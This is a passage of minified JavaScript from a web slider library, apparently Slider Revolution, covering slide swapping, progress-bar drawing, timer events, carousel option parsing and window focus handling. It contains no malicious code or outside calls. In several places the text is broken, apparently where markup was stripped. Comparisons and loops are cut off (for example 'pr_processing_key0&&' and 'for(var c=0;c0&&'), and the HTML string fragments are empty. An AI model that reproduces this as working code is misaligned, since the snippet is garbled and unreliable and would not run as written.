a[i].pr_next_key,a[i].pr_next_slide!==t&&a[i].pr_next_slide[0]!==t&&a.gA(a[i].pr_next_slide[0],"hal")!==t&&a.sA(a[i].pr_next_slide[0],"sofacounter",a.gA(a[i].pr_next_slide[0],"sofacounter")===t?1:parseInt(a.gA(a[i].pr_next_slide[0],"sofacounter"),0)+1),a[i].stopLoop&&a[i].pr_processing_key==a[i].lastslidetoshow-1&&(a[i].progressC.css({visibility:"hidden"}),a[i].c.trigger("revolution.slide.onstop"),a[i].noloopanymore=1),a[i].pr_next_slide.index()===a[i].slideamount-1&&a[i].looptogo>0&&"disabled"!==a[i].looptogo&&(a[i].looptogo--,a[i].looptogo<=0&&(a[i].stopLoop=!0)),a[i].tonpause=!0,a[i].slideInSwapTimer=!0,a[i].c.trigger("stoptimer"),"off"===a[i].spinner?a[i].loader!==t&&!0===a[i].loaderVisible&&(a[i].loader.css({display:"none"}),a[i].loaderVisible=!1):a[i].loadertimer=setTimeout(function(){a[i].loader!==t&&!0!==a[i].loaderVisible&&(a[i].loader.css({display:"block"}),a[i].loaderVisible=!0)},100);var n="carousel"===a[i].sliderType&&"all"!==a[i].lazyType?a.loadVisibleCarouselItems(i):a[i].pr_next_slide[0];a.loadImages(n,i,1),a.preLoadAudio&&a.preLoadAudio(a[i].pr_next_slide,i,1),a.waitForCurrentImages(n,i,function(){a[i].firstSlideShown=!0,a[i].pr_next_slide.find("rs-bgvideo").each(function(){a.prepareCoveredVideo(i)}),a.loadUpcomingContent(i),window.requestAnimationFrame(function(){O(a[i].pr_next_slide.find("rs-sbg"),i,r,o)})})}else a[i].waitWithSwapSlide=setTimeout(function(){L(i,r)},18)},O=function(i,r,o,s){if(a[r]!==t){M(r),a[r].pr_active_slide=e(a[r].slides[a[r].pr_active_key]),a[r].pr_next_slide=e(a[r].slides[a[r].pr_processing_key]),a[r].pr_active_bg=a[r].pr_active_slide.find("rs-sbg-wrap"),a[r].pr_next_bg=a[r].pr_next_slide.find("rs-sbg-wrap"),a[r].tonpause=!1,clearTimeout(a[r].loadertimer),a[r].loader!==t&&!0===a[r].loaderVisible&&(window.requestAnimationFrame(function(){a[r].loader.css({display:"none"})}),a[r].loaderVisible=!1),a[r].onBeforeSwap={slider:r,slideIndex:parseInt(a[r].pr_active_key,0)+1,slideLIIndex:a[r].pr_active_key,nextSlideIndex:parseInt(a[r].pr_processing_key,0)+1,nextSlideLIIndex:a[r].pr_processing_key,nextslide:a[r].pr_next_slide,slide:a[r].pr_active_slide,currentslide:a[r].pr_active_slide,prevslide:a[r].pr_lastshown_key!==t?a[r].slides[a[r].pr_lastshown_key]:""},"carousel"!==a[r].sliderType&&tpGS.gsap.set(a[r].pr_next_slide,{display:"block"}),a[r].c.trigger("revolution.slide.onbeforeswap",a[r].onBeforeSwap);var n=a.gA(a[r].pr_active_slide[0],"key"),l=a[r].sbgs[n];if(l&&l.panzoom&&l.pzAnim&&(l.pzLastFrame=!0,a.pzDrawShadow(r,l,l.pzAnim.start)),a[r].sbgs[a.gA(a[r].pr_next_slide[0],"key")]&&tpGS.gsap.fromTo(a[r].sbgs[a.gA(a[r].pr_next_slide[0],"key")].overlay,{opacity:0},{opacity:1,duration:1,ease:"none"}),l&&tpGS.gsap.to(l.overlay,{opacity:0,duration:1,ease:"none"}),a[r].transition=1,a[r].stopByVideo=!1,a[r].pr_next_slide[0]!==t&&a.gA(a[r].pr_next_slide[0],"duration")!=t&&""!=a.gA(a[r].pr_next_slide[0],"duration")?a[r].duration=parseInt(a.gA(a[r].pr_next_slide[0],"duration"),0):a[r].duration=a[r].origcd,a[r].pr_next_slide[0]===t||"true"!=a.gA(a[r].pr_next_slide[0],"ssop")&&!0!==a.gA(a[r].pr_next_slide[0],"ssop")?a[r].ssop=!1:a[r].ssop=!0,a[r].sbtimeline.set&&a[r].sbtimeline.fixed&&a.updateFixedScrollTimes(r),a[r].c.trigger("nulltimer"),a[r].sdir="bullet"!==a[r].sc_indicator&&a[r].pr_active_key==a[r].slideamount-1&&0==a[r].pr_processing_key?0:a[r].pr_processing_key0&&a.SLTR));a[r].sbgs[d].slideanimation=a[r].firstSlideAnimDone===t&&a[r].fanim!==t&&!1!==a[r].fanim?a.convertSlideAnimVals(e.extend(!0,{},a.getSlideAnim_EmptyObject(),a[r].fanim)):a[r].sbgs[d].slideanimation===t||a[r].sbgs[d].slideanimationRebuild||a[r].sbgs[d].altLen>0&&"default_first_anim"==a[r].sbgs[d].alt[a[r].sbgs[d].altIndex]?a.getSlideAnimationObj(r,{anim:a.gA(a[r].pr_next_slide[0],"anim"),filter:a.gA(a[r].pr_next_slide[0],"filter"),in:a.gA(a[r].pr_next_slide[0],"in"),out:a.gA(a[r].pr_next_slide[0],"out"),d3:a.gA(a[r].pr_next_slide[0],"d3")},d):a[r].sbgs[d].random!==t&&a.SLTR!==t?a.convertSlideAnimVals(e.extend(!0,{},a.getSlideAnim_EmptyObject(),a.getAnimObjectByKey(a.getRandomSlideTrans(a[r].sbgs[d].random.rndmain,a[r].sbgs[d].random.rndgrp,a.SLTR),a.SLTR))):a[r].sbgs[d].altLen>0&&a.SLTR!==t?a.convertSlideAnimVals(e.extend(!0,{altAnim:a[r].sbgs[d].alt[a[r].sbgs[d].altIndex]},a.getSlideAnim_EmptyObject(),a.getAnimObjectByKey(a[r].sbgs[d].alt[a[r].sbgs[d].altIndex],a.SLTR))):a[r].sbgs[d].slideanimation,a[r].sbgs[d].altLen>0&&(a[r].sbgs[d].firstSlideAnimDone!==t?(a[r].sbgs[d].altIndex++,a[r].sbgs[d].altIndex=a[r].sbgs[d].altIndex>=a[r].sbgs[d].altLen?0:a[r].sbgs[d].altIndex):(a[r].sbgs[d].firstSlideAnimDone=!0,a.SLTR===t&&a.SLTR_loading===t&&a.loadSlideAnimLibrary(r),a[r].sbgs[d].alt.push("default_first_anim"),a[r].sbgs[d].altLen++)),a[r].sbgs[d].currentState="animating",a.animateSlide(r,a[r].sbgs[d].slideanimation),a[r].firstSlideAnimDone===t&&a[r].fanim!==t&&!1!==a[r].fanim&&(a[r].sbgs[d].slideanimationRebuild=!0),a[r].firstSlideAnimDone=!0,a[r].pr_next_bg.data("panzoom")!==t&&requestAnimationFrame(function(){var e=a.gA(a[r].pr_next_slide[0],"key");a.startPanZoom(a[r].pr_next_bg,r,0,a.getSlideIndex(r,e),"first",e)}),a[r].mtl.pause()}if(a.animateTheLayers?"carousel"===a[r].sliderType?(!1!==a[r].carousel.showLayersAllTime&&(a[r].carousel.allLayersStarted?a.animateTheLayers({slide:"individual",id:r,mode:"rebuild",caller:"swapSlideProgress_5"}):a.animateTheLayers({slide:"individual",id:r,mode:"start",caller:"swapSlideProgress_4"}),a[r].carousel.allLayersStarted==t&&(a.updateCarouselRows(r),a[r].carousel.allLayersStarted=!0)),0!==a[r].firststart?a.animateTheLayers({slide:0,id:r,mode:"start",caller:"swapSlideProgress_6"}):!0!==o&&a.animateTheLayers({slide:a[r].pr_next_key!==t?a[r].pr_next_key:a[r].pr_processing_key!==t?a[r].pr_processing_key:a[r].pr_active_key,id:r,mode:"start",caller:"swapSlideProgress_7"}),a[r].firststart=0):a.animateTheLayers({slide:a[r].pr_next_key!==t?a[r].pr_next_key:a[r].pr_processing_key!==t?a[r].pr_processing_key:a[r].pr_active_key,id:r,mode:"start",caller:"swapSlideProgress_8"}):a[r].mtl!=t&&setTimeout(function(){a[r].mtl.resume()},18),"carousel"!==a[r].sliderType)if(a[r].scwDur=.001,Array.isArray(a[r].scwCallback)&&a[r].scwCallback.length>0){a[r].scwDone=!1,a[r].scwCount=a[r].scwCallback.length;for(var c=0;c0&&(a[r].scwTween&&"function"==typeof a[r].scwTween.kill&&(a[r].scwTween.kill(),a[r].scwTween=null),a[r].scwTween=tpGS.gsap.to(a[r].pr_next_slide,{duration:a[r].scwDur,autoAlpha:1}))})}else tpGS.gsap.to(a[r].pr_next_slide,{duration:a[r].scwDur,autoAlpha:1})}},R=function(i){if(a[i]!==t){if("done"!==a.RS_swapList[i]){a.RS_swapList[i]="done";var r=e.inArray(i,a.RS_swapping);a.RS_swapping.splice(r,1)}if(a[i].firstSlideAvailable===t&&(a[i].firstSlideAvailable=!0,window.requestAnimationFrame(function(){"hero"!==a[i].sliderType&&a.createNavigation&&a[i].navigation.use&&!0!==a[i].navigation.createNavigationDone&&a.createNavigation(i)})),"carousel"===a[i].sliderType&&tpGS.gsap.to(a[i].carousel.wrap,1,{opacity:1}),a[i].pr_active_key=a[i].pr_processing_key!==t?a[i].pr_processing_key:a[i].pr_active_key,delete a[i].pr_processing_key,"scroll"!=a[i].parallax.type&&"scroll+mouse"!=a[i].parallax.type&&"mouse+scroll"!=a[i].parallax.type||(a[i].lastscrolltop=-999,a.generalObserver(a.ISM)),a[i].mtldiff=a[i].mtl.time(),delete a[i].mtl,a[i].pr_active_key!==t){a.gA(a[i].slides[a[i].pr_active_key],"sloop")!==t&&function(e){if(a[e]!==t){a[e].sloops=a[e].sloops===t?{}:a[e].sloops;var i=a.gA(a[e].slides[a[e].pr_active_key],"key"),r=a[e].sloops[i];if(r===t){r={s:2500,e:4500,r:"unlimited"};var o=a.gA(a[e].slides[a[e].pr_active_key],"sloop").split(";");for(var s in o)if(o.hasOwnProperty(s)){var n=o[s].split(":");switch(n[0]){case"s":r.s=parseInt(n[1],0)/1e3;break;case"e":r.e=parseInt(n[1],0)/1e3;break;case"r":r.r=n[1]}}r.r="unlimited"===r.r?-1:parseInt(r.r,0),a[e].sloops[i]=r,r.key=i}r.ct={time:r.s},r.tl=tpGS.gsap.timeline({}),r.timer=tpGS.gsap.fromTo(r.ct,r.e-r.s,{time:r.s},{time:r.e,ease:"none",onRepeat:function(){for(var i in a[e].layers[r.key])a[e].layers[r.key].hasOwnProperty(i)&&a[e]._L[i].timeline.play(r.s);var o=a[e].progressC;o!==t&&o[0]!==t&&o[0].tween!==t&&o[0].tween.time(r.s)},onUpdate:function(){},onComplete:function(){}}).repeat(r.r),r.tl.add(r.timer,r.s),r.tl.time(a[e].mtldiff)}}(i),a.sA(a[i].slides[a[i].activeRSSlide],"isactiveslide",!1),a[i].activeRSSlide=a[i].pr_active_key,a.sA(a[i].slides[a[i].activeRSSlide],"isactiveslide",!0);var o=a.gA(a[i].slides[a[i].pr_active_key],"key"),s=a.gA(a[i].slides[a[i].pr_lastshown_key],"key");a.sA(a[i].c[0],"slideactive",o),s!==t&&a[i].panzoomTLs!==t&&a[i].panzoomTLs[a.getSlideIndex(i,s)]!==t&&("carousel"===a[i].sliderType?(a[i].panzoomTLs[a.getSlideIndex(i,s)].timeScale(3),a[i].panzoomTLs[a.getSlideIndex(i,s)].reverse()):a[i].panzoomTLs[a.getSlideIndex(i,s)].pause()),I(i,o);var n={slider:i,slideIndex:parseInt(a[i].pr_active_key,0)+1,slideLIIndex:a[i].pr_active_key,slide:a[i].pr_next_slide,currentslide:a[i].pr_next_slide,prevSlideIndex:a[i].pr_lastshown_key!==t&&parseInt(a[i].pr_lastshown_key,0)+1,prevSlideLIIndex:a[i].pr_lastshown_key!==t&&parseInt(a[i].pr_lastshown_key,0),prevSlide:a[i].pr_lastshown_key!==t&&a[i].slides[a[i].pr_lastshown_key]};if(a[i].c.trigger("revolution.slide.onchange",n),a[i].c.trigger("revolution.slide.onafterswap",n),""+a[i].pr_lastshown_key!=""+a[i].pr_active_key&&"carousel"!==a[i].sliderType&&tpGS.gsap.set(n.prevSlide,{display:"none",delay:.01}),a[i].deepLinkListener||a[i].enableDeeplinkHash){var l=a.gA(a[i].slides[a[i].pr_active_key],"deeplink");l!==t&&l.length>0&&(a[i].ignoreDeeplinkChange=!0,window.location.hash=a.gA(a[i].slides[a[i].pr_active_key],"deeplink"))}a[i].pr_lastshown_key=a[i].pr_active_key,a[i].startWithSlide!==t&&"done"!==a[i].startWithSlide&&"carousel"===a[i].sliderType&&(a[i].firststart=0),a[i].duringslidechange=!1,a[i].pr_active_slide.length>0&&0!=a.gA(a[i].pr_active_slide[0],"hal")&&a.gA(a[i].pr_active_slide[0],"hal")<=a.gA(a[i].pr_active_slide[0],"sofacounter")&&a[i].c.revremoveslide(a[i].pr_active_slide.index());var d=a[i].pr_processing_key||a[i].pr_active_key||0;a[i].rowzones!=t&&(d=d>a[i].rowzones.length?a[i].rowzones.length:d),(a[i].rowzones!=t&&a[i].rowzones.length>0&&a[i].rowzones[d]!=t&&d>=0&&d<=a[i].rowzones.length&&a[i].rowzones[d].length>0||a.winH'),"horizontal"===r.style||"vertical"===r.style){if("module"===r.basedon){for(var o="",s=0;s";o+="";for(s=0;s";if(o+="","nogap"!==r.gaptype)for(s=0;s";a[i].progressC[0].innerHTML=o,!0===a[i].noDetach&&a[i].c.append(a[i].progressC),a[i].progressCBarBGS=a.getByTag(a[i].progressC[0],"RS-PROGRESS-BG"),a[i].progressCBarGAPS=a.getByTag(a[i].progressC[0],"RS-PROGRESS-GAP"),"nogap"!==r.gaptype&&tpGS.gsap.set(a[i].progressCBarGAPS,{backgroundColor:r.gapcolor,zIndex:"gapbg"===r.gaptype?17:27}),tpGS.gsap.set(a[i].progressCBarBGS,{backgroundColor:r.bgcolor})}else a[i].progressC[0].innerHTML="",!0===a[i].noDetach&&a[i].c.append(a[i].progressC);a[i].progressCBarInner=a.getByTag(a[i].progressC[0],"RS-PROGRESS-BAR"),tpGS.gsap.set(a[i].progressCBarInner,{background:r.color})}else a[i].progressC[0].innerHTML='',!0===a[i].noDetach&&a[i].c.append(a[i].progressC),a[i].progressCBarInner=a[i].progressC[0].getElementsByClassName("rs-progress-bar")[0],a[i].progressBCanvas=a[i].progressCBarInner.getContext("2d"),a[i].progressBar.degree="cw"===a[i].progressBar.style?360:0,T(i);if(!0!==a[i].noDetach&&a[i].progressC.detach(),a[i].progressBar.visibility[a[i].level]&&1!=a[i].progressBar.disableProgressBar)if("horizontal"===r.style||"vertical"===r.style){var n,l,d=a[i].slideamount-1;if("horizontal"===r.style){var c="grid"===r.alignby?a[i].gridwidth[a[i].level]:a[i].module.width;n=Math.ceil(c/a[i].slideamount),l=Math.ceil((c-d*r.gapsize)/a[i].slideamount),tpGS.gsap.set(a[i].progressC,{visibility:"visible",top:"top"===r.vertical?r.y+("grid"===r.alignby&&a[i].gridOffsetHeight!==t?Math.max(0,a[i].gridOffsetHeight):0):"center"===r.vertical?"50%":"auto",bottom:"top"===r.vertical||"center"===r.vertical?"auto":r.y+("grid"===r.alignby&&a[i].gridOffsetHeight!==t?Math.max(0,a[i].gridOffsetHeight):0),left:"left"===r.horizontal&&"grid"===r.alignby&&a[i].gridOffsetWidth!==t?Math.max(0,a[i].gridOffsetWidth):"auto",right:"right"===r.horizontal&&"grid"===r.alignby&&a[i].gridOffsetWidth!==t?Math.max(0,a[i].gridOffsetWidth):"auto",y:"center"===r.vertical?r.y:0,height:r.size,backgroundColor:"module"===r.basedon?"transparent":r.bgcolor,marginTop:"bottom"===r.vertical?0:"top"===r.vertical?0:parseInt(r.size,0)/2,width:"grid"===r.alignby?a[i].gridwidth[a[i].level]:"100%"}),tpGS.gsap.set(a[i].progressCBarInner,{x:"module"===r.basedon?r.gap?function(e){return("right"===r.horizontal?d-e:e)*(l+r.gapsize)}:function(e){return("right"===r.horizontal?d-e:e)*n}:0,width:"module"===r.basedon?r.gap?l+"px":100/a[i].slideamount+"%":"100%"}),"module"===r.basedon&&(tpGS.gsap.set(a[i].progressCBarBGS,{x:"module"===r.basedon?r.gap?function(e){return e*(l+r.gapsize)}:function(e){return e*n}:0,width:"module"===r.basedon?r.gap?l+"px":100/a[i].slideamount+"%":"100%"}),tpGS.gsap.set(a[i].progressCBarGAPS,{width:r.gap?r.gapsize+"px":0,x:r.gap?function(e){return(e+1)*l+parseInt(r.gapsize,0)*e}:0}))}else if("vertical"===r.style){c="grid"===r.alignby?a[i].gridheight[a[i].level]:a[i].module.height;n=Math.ceil(c/a[i].slideamount),l=Math.ceil((c-d*r.gapsize)/a[i].slideamount),tpGS.gsap.set(a[i].progressC,{visibility:"visible",left:"left"===r.horizontal?r.x+("grid"===r.alignby&&a[i].gridOffsetWidth!==t?Math.max(0,a[i].gridOffsetWidth):0):"center"===r.horizontal?"50%":"auto",right:"left"===r.horizontal||"center"===r.horizontal?"auto":r.x+("grid"===r.alignby&&a[i].gridOffsetWidth!==t?Math.max(0,a[i].gridOffsetWidth):0),x:"center"===r.horizontal?r.x:0,top:"top"===r.vertical&&"grid"===r.alignby&&a[i].gridOffsetHeight!==t?Math.max(a[i].gridOffsetHeight,0):"auto",bottom:"bottom"===r.vertical&&"grid"===r.alignby&&a[i].gridOffsetHeight!==t?Math.max(a[i].gridOffsetHeight,0):"auto",width:r.size,marginLeft:"left"===r.horizontal?0:"right"===r.horizontal?0:parseInt(r.size,0)/2,backgroundColor:"module"===r.basedon?"transparent":r.bgcolor,height:"grid"===r.alignby?a[i].gridheight[a[i].level]:"100%"}),tpGS.gsap.set(a[i].progressCBarInner,{y:"module"===r.basedon?r.gap?function(e){return("bottom"===r.vertical?d-e:e)*(l+r.gapsize)}:function(e){return("bottom"===r.vertical?d-e:e)*n}:0,height:"module"===r.basedon?r.gap?l+"px":100/a[i].slideamount+"%":"100%"}),"module"===r.basedon&&(tpGS.gsap.set(a[i].progressCBarBGS,{y:"module"===r.basedon?r.gap?function(e){return e*(l+r.gapsize)}:function(e){return e*n}:0,height:"module"===r.basedon?r.gap?l+"px":100/a[i].slideamount+"%":"100%"}),tpGS.gsap.set(a[i].progressCBarGAPS,{height:r.gap?r.gapsize+"px":0,y:r.gap?function(e){return(e+1)*l+parseInt(r.gapsize,0)*e}:0}))}}else tpGS.gsap.set(a[i].progressC,{top:"top"===r.vertical?r.y+("grid"===r.alignby&&a[i].gridOffsetHeight!==t?Math.max(0,a[i].gridOffsetHeight):0):"center"===r.vertical?"50%":"auto",bottom:"top"===r.vertical||"center"===r.vertical?"auto":r.y+("grid"===r.alignby&&a[i].gridOffsetHeight!==t?Math.max(0,a[i].gridOffsetHeight):0),left:"left"===r.horizontal?r.x+("grid"===r.alignby&&a[i].gridOffsetWidth!==t?Math.max(0,a[i].gridOffsetWidth):0):"center"===r.horizontal?"50%":"auto",right:"left"===r.horizontal||"center"===r.horizontal?"auto":r.x+("grid"===r.alignby&&a[i].gridOffsetWidth!==t?Math.max(0,a[i].gridOffsetWidth):0),y:"center"===r.vertical?r.y:0,x:"center"===r.horizontal?r.x:0,width:2*r.radius,height:2*r.radius,marginTop:"center"===r.vertical?0-r.radius:0,marginLeft:"center"===r.horizontal?0-r.radius:0,backgroundColor:"transparent",visibility:"visible"});else a[i].progressC[0].style.visibility="hidden";!0!==a[i].noDetach&&a[i].c.append(a[i].progressC),a[i].gridOffsetWidth===t&&"grid"===r.alignby?a[i].rebuildProgressBar=!0:a[i].rebuildProgressBar=!1},T=function(e){var t=a[e].progressBar;t.radius-parseInt(t.size,0)<=0&&(t.size=t.radius/4);var i=parseInt(t.radius),r=parseInt(t.radius);a[e].progressBCanvas.lineCap="round",a[e].progressBCanvas.clearRect(0,0,2*t.radius,2*t.radius),a[e].progressBCanvas.beginPath(),a[e].progressBCanvas.arc(i,r,t.radius-parseInt(t.size,0),Math.PI/180*270,Math.PI/180*630),a[e].progressBCanvas.strokeStyle=t.bgcolor,a[e].progressBCanvas.lineWidth=parseInt(t.size,0)-1,a[e].progressBCanvas.stroke(),a[e].progressBCanvas.beginPath(),a[e].progressBCanvas.strokeStyle=t.color,a[e].progressBCanvas.lineWidth=parseInt(t.size,0),a[e].progressBCanvas.arc(i,r,t.radius-parseInt(t.size,0),Math.PI/180*270,Math.PI/180*(270+a[e].progressBar.degree),"cw"!==t.style),a[e].progressBCanvas.stroke()},C=function(i){var r=function(){i!==t&&a!==t&&a[i]!==t&&(0==e("body").find(a[i].c).length||null===a[i]||null===a[i].c||a[i].c===t||0===a[i].length?(!function(t){a[t].c.children().each(function(){try{e(this).die("click")}catch(e){}try{e(this).die("mouseenter")}catch(e){}try{e(this).die("mouseleave")}catch(e){}try{e(this).off("hover")}catch(e){}});try{a[t].c.die("click","mouseenter","mouseleave")}catch(e){}clearInterval(a[t].cdint),a[t].c=null}(i),clearInterval(a[i].cdint)):(a[i].c.trigger("revolution.slide.slideatend"),1==a[i].c.data("conthoverchanged")&&(a[i].conthover=a[i].c.data("conthover"),a[i].c.data("conthoverchanged",0)),a.callingNewSlide(i,1,!0)))},o=tpGS.gsap.timeline({paused:!0}),s="reset"===a[i].progressBar.reset||a[i].progressBar.notnew===t?0:.2,n="slide"===a[i].progressBar.basedon?0:a[i].pr_processing_key!==t?a[i].pr_processing_key:a[i].pr_active_key;if(n=n===t?0:n,"horizontal"===a[i].progressBar.style){if(o.add(tpGS.gsap.to(a[i].progressCBarInner[n],s,{scaleX:0,transformOrigin:"right"===a[i].progressBar.horizontal?"100% 50%":"0% 50%"})),o.add(tpGS.gsap.to(a[i].progressCBarInner[n],a[i].duration/1e3,{transformOrigin:"right"===a[i].progressBar.horizontal?"100% 50%":"0% 50%",force3D:"auto",scaleX:1,onComplete:r,delay:.5,ease:a[i].progressBar.ease})),"module"===a[i].progressBar.basedon)for(var l=0;l-1?a[e].lastslidetoshow=a[e].stopAtSlide:a[e].lastslidetoshow=999,a[e].stopLoop=!1,0==a[e].looptogo&&(a[e].stopLoop=!0),a[e].c.on("stoptimer",function(){a[e].progressC!=t&&(a[e].progressC[0].tween.pause(),a[e].progressBar.disableProgressBar&&(a[e].progressC[0].style.visibility="hidden"),a[e].sliderstatus="paused",a[e].slideInSwapTimer||a.unToggleState(a[e].slidertoggledby),a[e].slideInSwapTimer=!1)}),a[e].c.on("starttimer",function(){a[e].progressC!=t&&(a[e].forcepaused||(1!=a[e].conthover&&1!=a[e].stopByVideo&&a[e].module.width>a[e].hideSliderAtLimit&&1!=a[e].tonpause&&1!=a[e].overnav&&1!=a[e].ssop&&(1===a[e].noloopanymore||a[e].viewPort.enable&&!a[e].inviewport||(a[e].progressBar.visibility[a[e].level]||(a[e].progressC[0].style.visibility="visible"),a[e].progressC[0].tween.resume(),a[e].sliderstatus="playing")),!a[e].progressBar.disableProgressBar&&a[e].progressBar.visibility[a[e].level]||(a[e].progressC[0].style.visibility="hidden"),a.toggleState(a[e].slidertoggledby)))}),a[e].c.on("restarttimer",function(){if(!(a[e].modal!==t&&a[e].modal.useAsModal&&"close"==a[e].modal.lastModalCall||a[e].progressC==t||a[e].forcepaused)){if(a[e].mouseoncontainer&&"on"==a[e].navigation.onHoverStop&&!a.ISM)return!1;1===a[e].noloopanymore||a[e].viewPort.enable&&!a[e].inviewport||1==a[e].ssop?a.unToggleState(a[e].slidertoggledby):(a[e].progressBar.visibility[a[e].level]||(a[e].progressC[0].style.visibility="visible"),a[e].progressC[0].tween!==t&&a[e].progressC[0].tween.kill(),a[e].progressC[0].tween=C(e),a[e].progressC[0].tween.play(),a[e].sliderstatus="playing",a.toggleState(a[e].slidertoggledby)),!a[e].progressBar.disableProgressBar&&a[e].progressBar.visibility[a[e].level]||(a[e].progressC[0].style.visibility="hidden"),a[e].mouseoncontainer&&1==a[e].navigation.onHoverStop&&!a.ISM&&(a[e].c.trigger("stoptimer"),a[e].c.trigger("revolution.slide.onpause"))}}),a[e].c.on("nulltimer",function(){a[e].progressC!=t&&a[e].progressC[0]!==t&&(a[e].progressC[0].tween!==t&&a[e].progressC[0].tween.kill(),a[e].progressC[0].tween=C(e),a[e].progressC[0].tween.pause(0),!a[e].progressBar.disableProgressBar&&a[e].progressBar.visibility[a[e].level]||(a[e].progressC[0].style.visibility="hidden"),a[e].sliderstatus="paused")}),a[e].progressC!==t&&(a[e].progressC[0].tween=C(e)),a[e].slideamount>1&&(0!=a[e].stopAfterLoops||1!=a[e].stopAtSlide)?a[e].c.trigger("starttimer"):(a[e].noloopanymore=1,a[e].c.trigger("nulltimer")),a[e].c.on("tp-mouseenter",function(){a[e].mouseoncontainer=!0,1!=a[e].navigation.onHoverStop||a.ISM||(a[e].c.trigger("stoptimer"),a[e].c.trigger("revolution.slide.onpause"))}),a[e].c.on("tp-mouseleft",function(){a[e].mouseoncontainer=!1,1!=a[e].c.data("conthover")&&1==a[e].navigation.onHoverStop&&(1==a[e].viewPort.enable&&a[e].inviewport||0==a[e].viewPort.enable)&&(a[e].c.trigger("revolution.slide.onresume"),a[e].c.trigger("starttimer"))})},D=function(){e(".rev_redraw_on_blurfocus").each(function(){var e=this.id;if(a[e]==t||a[e].c==t||0===a[e].c.length)return!1;1!=a[e].windowfocused&&(a[e].windowfocused=!0,tpGS.gsap.delayedCall(.1,function(){a[e].fallbacks.nextSlideOnWindowFocus&&a[e].c.revnext(),a[e].c.revredraw(),"playing"==a[e].lastsliderstatus&&a[e].c.revresume(),a[e].c.trigger("revolution.slide.tabfocused")}))})},P=function(){document.hasFocus()||e(".rev_redraw_on_blurfocus").each(function(e){var t=this.id;a[t].windowfocused=!1,a[t].lastsliderstatus=a[t].sliderstatus,a[t].c.revpause(),a[t].c.trigger("revolution.slide.tabblured")})},B=function(){e("rs-module").each(function(){var e=this.id;if(a[e].inviewport||!a[e].viewPort.enable){var i=a[e].pr_active_slide!==t&&a[e].pr_active_slide.data("key")!==t?a[e].pr_active_slide.data("key"):a[e].pr_next_slide!==t&&a[e].pr_next_slide.data("key")!==t?a[e].pr_next_slide.data("key"):t;if(i==t)return;a[e].sbgs[i].bgvid.length>0&&a[e].videos[a[e].sbgs[i].bgvid[0].id].loop&&("visible"===document.visibilityState?a.playVideo(a[e].sbgs[i].bgvid,e):a.stopVideo(a[e].sbgs[i].bgvid,e))}})},G=function(){var e=document.documentMode===t,i=window.chrome;1!==a.revslider_focus_blur_listener&&(a.revslider_focus_blur_listener=1,e&&!i?a.window.on("focusin",function(){!0!==a.windowIsFocused&&D(),a.windowIsFocused=!0}).on("focusout",function(){!0!==a.windowIsFocused&&a.windowIsFocused!==t||P(),a.windowIsFocused=!1}):window.addEventListener?(window.addEventListener("focus",function(e){!0!==a.windowIsFocused&&D(),a.windowIsFocused=!0},{capture:!1,passive:!0}),window.addEventListener("blur",function(e){!0!==a.windowIsFocused&&a.windowIsFocused!==t||P(),a.windowIsFocused=!1},{capture:!1,passive:!0})):(window.attachEvent("focus",function(e){!0!==a.windowIsFocused&&D(),a.windowIsFocused=!0}),window.attachEvent("blur",function(e){!0!==a.windowIsFocused&&a.windowIsFocused!==t||P(),a.windowIsFocused=!1})))},F=function(e){for(var t,i=[],a=window.location.href.slice(window.location.href.indexOf(e)+1).split("_"),r=0;r1?e.carousel.maxOpacity/100:e.carousel.maxOpacity,e.carousel.showLayersAllTime="true"===e.carousel.showLayersAllTime||!0===e.carousel.showLayersAllTime?"all":e.carousel.showLayersAllTime,e.carousel.maxRotation=parseInt(e.carousel.maxRotation,0),e.carousel.minScale=parseInt(e.carousel.minScale,0),e.carousel.minScale=e.carousel.minScale>.9?e.carousel.minScale/100:e.carousel.minScale,e.carousel.speed=parseInt(e.carousel.speed,0),e.carousel.skewX=parseFloat(e.carousel.skewX),e.carousel.skewY=parseFloat(e.carousel.skewY),e.carousel.spinAngle=parseFloat(e.carousel.spinAngle),0===e.carousel.spinAngle&&(e.carousel.spinAngle=1),"v"===e.carousel.orientation&&(e.carousel.justify=!1),e.navigation.maintypes=["arrows","tabs","thumbnails","bullets"],e.perspective=parseInt(e.perspective,0),e.navigation.maintypes)e.navigation.maintypes.hasOwnProperty(i)&&e.navigation[e.navigation.maintypes[i]]!==t&&(e.navigation[e.navigation.maintypes[i]].animDelay=e.navigation[e.navigation.maintypes[i]].animDelay===t?1e3:e.navigation[e.navigation.maintypes[i]].animDelay,e.navigation[e.navigation.maintypes[i]].animSpeed=e.navigation[e.navigation.maintypes[i]].animSpeed===t?1e3:e.navigation[e.navigation.maintypes[i]].animSpeed,e.navigation[e.navigation.maintypes[i]].animDelay=parseInt(e.navigation[e.navigation.maintypes[i]].animDelay,0)/1e3,e.navigation[e.navigation.maintypes[i]].animSpeed=parseInt(e.navigation[e.navigation.maintypes[i]].animSpeed,0)/1e3);if(a.isNumeric(e.scrolleffect.tilt)||-1!==e.scrolleffect.tilt.indexOf("%")&&(e.scrolleffect.tilt=parseInt(e.scrolleffect.tilt)),e.scrolleffect.tilt=e.scrolleffect.tilt/100,e.navigation.thumbnails.position="outer-horizontal"==e.navigation.thumbnails.position?"bottom"==e.navigation.thumbnails.v_align?"outer-bottom":"outer-top":"outer-vertical"==e.navigation.thumbnails.position?"left"==e.navigation.thumbnails.h_align?"outer-left":"outer-right":e.navigation.thumbnails.position,e.navigation.tabs.position="outer-horizontal"==e.navigation.tabs.position?"bottom"==e.navigation.tabs.v_align?"outer-bottom":"outer-top":"outer-vertical"==e.navigation.tabs.position?"left"==e.navigation.tabs.h_align?"outer-left":"outer-right":e.navigation.tabs.position,e.sbtimeline.speed=parseInt(e.sbtimeline.speed,0)/1e3||.5,!0===e.sbtimeline.set&&!0===e.sbtimeline.fixed&&"auto"!==e.sliderLayout?(e.sbtimeline.fixStart=parseInt(e.sbtimeline.fixStart),e.sbtimeline.fixEnd=parseInt(e.sbtimeline.fixEnd)):e.sbtimeline.fixed=!1,e.progressBar===t||"true"!=e.progressBar.disableProgressBar&&1!=e.progressBar.disableProgressBar||(e.progressBar.disableProgressBar=!0),e.startDelay=parseInt(e.startDelay,0)||0,e.navigation!==t&&e.navigation.arrows!=t&&e.navigation.arrows.hide_under!=t&&(e.navigation.arrows.hide_under=parseInt(e.navigation.arrows.hide_under)),e.navigation!==t&&e.navigation.bullets!=t&&e.navigation.bullets.hide_under!=t&&(e.navigation.bullets.hide_under=parseInt(e.navigation.bullets.hide_under)),e.navigation!==t&&e.navigation.thumbnails!=t&&e.navigation.thumbnails.hide_under!=t&&(e.navi